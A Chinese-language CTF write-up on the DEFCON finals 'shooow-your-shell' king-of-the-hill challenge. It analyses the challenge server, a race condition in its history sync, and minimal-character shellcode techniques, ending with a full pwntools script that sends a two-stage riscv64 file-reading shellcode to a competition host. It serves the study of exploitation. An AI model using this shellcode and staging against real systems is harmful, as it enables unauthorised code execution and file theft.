作者:Hcamael@知道創宇404實驗室
時間:2021年8月10日
今年有幸和Nu1L的隊友一起打進的DEFCON決賽,其中的一道KOH類型的題目(shoow-your-shell)挺有意思的,學到了很多騷操作,所以打算寫一篇總結。
shooow-your-shell這題是最后一天放出來的KOH類型的題目,比哪隊寫的shellcode使用的字符少,長度短,就能成為king,然后在900s內沒隊伍超過你,那么會根據當時的排名來給本輪的分數。第一名10分,第二名6分,第三名3分,第四名2分,第五名1分,之后的隊伍不得分。
本題給了題目的Dockerfile文件,方便選手本地復現測試,ooo之后估計也會公布本題源碼,我也把源碼push到我的Github上了。
題目分析
首先,來分析一下代碼,9090端口綁定的是wrapper服務,該服務啟動了server.py,本題的主要代碼都在該文件中。
1.首先檢查本次的king是否為連接進來的隊伍,如果是,則退出。目的為不讓一個隊伍在成功成為king后,連續提交shellcode。
2.以十六進制格式輸入shellcode。
3.檢查黑名單字節,首輪默認黑名單為0x90,其后每輪初始的黑名單為上一個king使用的shellcode中隨機一個字節。
4.檢查是否是第一個提交,如果是第一個提交則不需要后續檢查了。
5.如果不是第一個提交,則要求當前king使用的字符你沒有全都使用(這里不知道是不是出題人寫了bug,按我理解,應該是shellcode的字符種類要比當前的king少,而現在這種規則,新提交的shellcode字符種類可以比當前king的多,只要少使用一個當前king使用的字符),或者字符長度比當前的king短。
6.創建一個緩存目錄,把三個架構的runner,三個架構的qemu,shuffl復制一份到這個目錄下,生成一串隨機數,寫到這個目錄下,然后依次執行三個架構,命令為:
p = subprocess.Popen([
os.path.join(
tmpdir, os.path.basename(SHUFFL_PATH)), "5",
f"./qemu-{arch}-static", f"./runner-{arch}"
], cwd=tmpdir, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=1)
7.如果該命令執行的結果為之前生成的隨機數,則表示shellcode執行成功,你將成為新的king。
8.會把每輪的king寫入history文件中。
server.py腳本的主要邏輯就如上所示,在上述的流程中,隨機生成字符串,寫入到文件中,然后要求shellcode輸出相同的字符,說明需要我們寫一個讀文件,然后輸出文件內容的shellcode。
接下來還需要去逆向shuffl程序,該程序的第一個參數為程序的超時時間,在python腳本里設置的值為5,表示shellcode要在5秒內執行完成,要不然會強行中斷。然后使用chroot切換到緩存目錄,并且使用setuid設置一個隨機用戶,然后執行qemu。這么做的目的就是為了做權限的限制,只允許寫讀文件的shellcode,能執行的程序只有當前目錄下的三個qemu和三個runner,并且都沒有文件的修改權限。
之后又去逆向了runner程序,發現是靜態編譯,不依賴libc,也不存在system之類的函數,大概也是出題人為了防止出現讀文件之外的shellcode出現而做的限制。
默認情況下,第一個提交的隊伍的字節黑名單只有1個,這種情況下是非常容易寫shellcode的,但是在你前面存在king時,你超過了他之后,黑名單將會添加上一個king使用了而現在的king沒使用的字符。這時可以有一種策略,在你的shellcode之后padding上所有黑名單不存并且你的shellcode中不存在的字符。這樣當下一個king超過你之后,除了他使用的字符,其他字符都會被加入黑名單,這會把比賽變為單純的比shellcode長度的比賽,當這個king的shellcode長度沒法優化的情況下,你起碼可以獲得第二名的成績。
比賽結束后,交流的過程中得知該程序還存在條件競爭。根據wrapper可知,service.py文件的超時時間為30s。首先我們用線程A連接進該服務,這個時候已經打開了當前的history,然后暫時不進行任何操作,然后再用線程B連接進該服務,查看是否有新的king產生,如果有,則復制其shellcode,在線程A中輸入。那么在線程A中,將會成為新的king,然后覆蓋當前的history。
出現該條件競爭的原因跟該題的架構有點關系,一共有16個隊伍,每個隊伍單獨一臺服務器,每個隊伍都是在自己的隊伍上提交shellcode,然后記錄king的文件history存放在服務器本地,也就是說有16個history文件,所以需要主辦方在后臺提供同步的服務,我猜測主辦方的做法是,監控16個服務器上的history,當該文件發現改變,那么將同步到其他服務器上。因為在訪問服務器的最開始就打開讀取了history文件,并且中間有30秒的超時時間,這個時間差就導致了競爭的漏洞。
不過這個漏洞只能讓你頂替他人的king,沒辦法在其他隊都無計可施的時候超過當前的king。
shellcode分析
接下來把目光放到shellcode上,下面將對各類的shellcode進行講解分析:
基本的shellcode
最普通的shellcode:
mov rax,0x746572636573
push rax
push rsp
pop rdi
push 2
pop rax
syscall
push 40
pop rax
push 1
pop rdi
push 3
pop rsi
xor rdx,rdx
syscall
這種shellcode沒啥好說的。
10字符的shellcode
我們隊伍的大佬寫了一個能優化到10個字符種類的shellcode:
def encode(inner_s):
s = '''
mov al, 1
'''
# mov ah, 8
# add rdx, rax # mov al, 1; add rdx, 0x800
# inner_s = 'H\xb8\x01\x01\x01\x01\x01\x01\x01\x01PH\xb8.gm`f\x01\x01\x01H1\x04$j\x02XH\x89\xe71\xf6\x99\x0f\x05A\xba\xff\xff\xff\x7fH\x89\xc6j(Xj\x01_\x99\x0f\x05'
for i, c in enumerate(bits(bitswap('\xd0\x90' + inner_s))):
if i != 0 and i % 8 == 0:
s += 'inc rdx'
if c:
s += '''
add byte ptr [rdx+0xfc0], al
rol al, 1
'''
else:
s += '''
rol al, 1
'''
payload = asm(s).ljust(0xfc0, '\xD0')
# payload = payload.ljust(0x1000, '\x00')
return payload
原理就是在不計較shellcode長度的情況下,能把任意字符寫到某個內存里去,通過調試可以發現,runner程序執行shellcode時,rdx的值為shellcode內存的地址,所以通過上面的指令,可以把其他shellcode指令替換掉當前內存的shellcode,從而執行其他指令。
3種字符shellcode
我們根據上述邏輯把字符種類優化到了9字節(但我沒記錄),本以為已經優化的很牛逼了,但無奈對手十分強大,出現了只使用3個種類字符的shellcode:


TD戰隊的shellcode只使用了15 50 c2三個字符。
來反匯編看看:
0: 15 15 15 15 50 adc eax, 0x50151515
5: 15 50 50 15 50 adc eax, 0x50155050
a: 15 50 50 15 50 adc eax, 0x50155050
f: 15 50 50 15 50 adc eax, 0x50155050
14: 15 50 50 15 50 adc eax, 0x50155050
19: 15 50 50 15 50 adc eax, 0x50155050
1e: 15 50 50 15 c2 adc eax, 0xc2155050
23: 15 50 50 15 c2 adc eax, 0xc2155050
28: 15 50 50 c2 c2 adc eax, 0xc2c25050
2d: 15 50 50 c2 c2 adc eax, 0xc2c25050
32: 15 50 50 c2 c2 adc eax, 0xc2c25050
37: 15 50 c2 c2 c2 adc eax, 0xc2c2c250
3c: 15 50 c2 c2 c2 adc eax, 0xc2c2c250
41: 15 50 c2 c2 c2 adc eax, 0xc2c2c250
46: 15 50 c2 c2 c2 adc eax, 0xc2c2c250
4b: 15 50 c2 c2 c2 adc eax, 0xc2c2c250
50: 15 50 c2 c2 c2 adc eax, 0xc2c2c250
55: 15 50 c2 c2 c2 adc eax, 0xc2c2c250
5a: 50 push eax
......
61d: 15 c2 50 50 c2 adc eax, 0xc25050c2
622: 50 push eax
623: c2 ret
反匯編后就好理解了,不得不說這個思路非常牛逼。利用adc/push/ret三個指令進行ROP調用。再進行一下解碼操作,可以發現,實際上的shellcode如下所示:
0x490972; mov rsi, [rbx]; call rax
0x4c2806
0x446f3a; pop rbx; ret
0x47a850; _dl_dprintf
0x47e50a; pop eax; ret
0x1
0x413aeb; pop edi; ret
0x4191c8; mov [rdx], rax; ret
0x4c2806
0x40171f; pop rdx; ret
0x47a650; dl_sysdep_read_whole_file
0x433ae4; mov [rdi], rdx; ret
0x4c2806;
0x40ffb0; pop edi; ret
0x72636573; secr
0x40171F; pop rdx; ret
0x436613; mov [rdi], rdx; ret
0x4c280a
0x415f56; pop edi; ret
0x7465 ; et\x00
0x40171F; pop rdx; ret
ret
ret指令必須要有一個字符c20000,因為shellcode的內存區域默認值就是00,所以可以省略00字符,adc eax占一個字符15,push eax占一個字符50,所以這是這種套路必須要用的三種字符。這三種字符可以組成81種數字:
val = ["15", "50", "c2"]
oi = itertools.product(val, repeat=4)
然后根據ROP的值,使用這81個數字匹配出某種組合,該shellcode的難點就在這了,如何計算這種組合。我目前的思路就是隨機出幾種組合,使用z3進行計算,如果在一定時間內沒計算出,則終止,換一套組合進行計算。
三種字符的shellcode當然不止這一種,如果只有這一種,那么當下回合這三種字符隨意一種字符被加入黑名單時,該shellcode講無用武之地。我們應該理解其原理,活學活用。
比如ret原本是c3,所以可以把c2替換成c3,還有cb(retf),ca0000(retf 0x0)等等。
adc可以換成add或者其他,eax可以換成ebx或者其他,比如:

長度為3字節的shellcode
從上面圖中可以發現TD戰隊和Katzebin戰隊就已經在比拼算法的優化能力了,除此之外,前三名的shellcode,不說其字符種類,其長度就只有3字節。3字節的shellcode就能讀文件?比賽的時候第一次看到這三字節的shellcode時,我整個人都驚呆了?,甚至懷疑這些隊伍是不是使用了什么0day修改了history文件,把自己的shellcode隨意改了幾個字節。
賽后復盤的時候才得知,這是riscv64的shellcode,作用是執行read(2, buf, length)系統調用,從標準錯誤中讀取數據。
為什么能從錯誤輸出中讀取數據呢?首先來看看執行該代碼的指令:
p = subprocess.Popen([
os.path.join(
tmpdir, os.path.basename(SHUFFL_PATH)), "5",
f"./qemu-{arch}-static", f"./runner-{arch}"
], cwd=tmpdir, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=1)
標準錯誤(2)被重定向到標準輸出(1),而該python文件的標準輸入和輸出都是socket文件描述符,所以在shellcode中從標準錯誤讀數據也就是從socket文件描述符。
反匯編一下這三個字節的shellcode:
print(disasm(unhex("69897300000000"), arch="riscv", bits=64))
0: 8969 andi a0, a0, 26
2: 00000073 ecall
通過調試可知在runner-riscv64中:
0x105ce <main+414> jal ra, 0x10cac <__assert_fail>
0x105d2 <main+418> lui a2, 0x1
0x105d4 <main+420> ld a1, -1056(s0)
→ 0x105da <main+426> jal ra, 0x2094e <read>
0x105de <main+430> ld a5, -1056(s0)
0x105e2 <main+434> jalr a5
0x105e4 <main+436> li a5, 0
0x105e6 <main+438> mv a3, a5
0x105e8 <main+440> auipc a5, 0x60
執行完read標準輸入后,就跳轉到shellcode地址,在執行jalr a5指令時,寄存器上下文:
$zero: 0x0000000000000000 → 0x0000000000000000
$ra : 0x00000000000105de → 0x47819782be043783 → 0x47819782be043783
$sp : 0x00000040007ffbb0 → 0x0000000000000000 → 0x0000000000000000
$gp : 0x0000000000071030 → 0x0000000000000000 → 0x0000000000000000
$tp : 0x0000000000072710 → 0x0000000000070678 → 0x0000000000051a68 → 0x00000000000709b0 → 0x0000000000000043 → 0x0000000000000043
$t0 : 0x0000000000072000 → 0x0000000000000000 → 0x0000000000000000
$t1 : 0x2f2f2f2f2f2f2f2f → 0x2f2f2f2f2f2f2f2f
$t2 : 0x0000000000072000 → 0x0000000000000000 → 0x0000000000000000
$fp : 0x00000040007ffff0 → 0x0000000000000000 → 0x0000000000000000
$s1 : 0x0000000000010b6a → 0x0006f7b7e8221101 → 0x0006f7b7e8221101
$a0 : 0x0000000000000004 → 0x0000000000000004
$a1 : 0x0000004000801000 → 0x000000000a333231 → 0x000000000a333231
$a2 : 0x0000000000001000 → 0x0000000000001000
$a3 : 0x0000000000000022 → 0x0000000000000022
$a4 : 0x0000004000801000 → 0x000000000a333231 → 0x000000000a333231
$a5 : 0x0000004000801000 → 0x000000000a333231 → 0x000000000a333231
$a6 : 0x0000000000000000 → 0x0000000000000000
$a7 : 0x000000000000003f → 0x000000000000003f
$s2 : 0x0000000000000000 → 0x0000000000000000
$s3 : 0x0000000000000000 → 0x0000000000000000
$s4 : 0x0000000000000000 → 0x0000000000000000
$s5 : 0x0000000000000000 → 0x0000000000000000
$s6 : 0x0000000000000000 → 0x0000000000000000
$s7 : 0x0000000000000000 → 0x0000000000000000
$s8 : 0x0000000000000000 → 0x0000000000000000
$s9 : 0x0000000000000000 → 0x0000000000000000
$s10 : 0x0000000000000000 → 0x0000000000000000
$s11 : 0x0000000000000000 → 0x0000000000000000
$t3 : 0xffffffffffffffff
$t4 : 0x000000000006ead0 → 0x0000000000070678 → 0x0000000000051a68 → 0x00000000000709b0 → 0x0000000000000043 → 0x0000000000000043
$t5 : 0x0000000000000000 → 0x0000000000000000
$t6 : 0x0000000000072000 → 0x0000000000000000 → 0x0000000000000000
其中,$a0 = 4,為read函數的返回值,表示標準輸入的長度,$a0的值等于$a5,指向了存放shellcode的內存,$a2 = 0x1000,表示讀取的長度,$a7等于0x37,對于riscv64價格,$a7 = 0x37,然后調用ecall指令,表示執行read系統調用。
所以上面那3字節的shellcode做的事就是,$a & 0x1a,因為輸入的長度為3,所以是3 & 0x1a = 2,然后調用ecall,執行的就是read(2, 0x0000004000801000, 0x1000)。實際的shellcode就能通過第二次輸入到內存中。
3字節的shellcode還不是最短的,還能繼續優化,只需要修改$a0=2,那么只需要輸入2字節的shellcode就能讓$a0的值等于2,所以最短的shellcode為7300
下面放一個使用2字節的shellcode腳本:
#!/usr/bin/env python3
# -*- coding=utf-8 -*-
from pwn import *
import time
context.log_level = "debug"
p = remote("10.11.34.96", 9090)
# p = remote("192.168.11.4", 9090)
shellcode1 = b"7300"
# shellcode1 = b"000000ca00080091210000d4" # aarch64
shellcode2 = """
li s1, 0x746572636573
sd s1, 0(sp)
mv a1, sp
li a7, 56
li a0, -100
ecall
li a7, 71
mv a1, a0
li a0, 1
li a2, 0
li a3, 100
ecall
"""
shellcode2 = asm(shellcode2, arch="riscv", bits=64)
shellcode2 = b"s\x00\x00\x00" + shellcode2
p.readuntil(b"shellcode:")
p.sendline(shellcode1)
pause()
p.send(shellcode2)
p.interactive()
結果如圖所示:

最后放一個我設想中,兩個隊伍合作統治比賽的情況:

參考
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1673/
暫無評論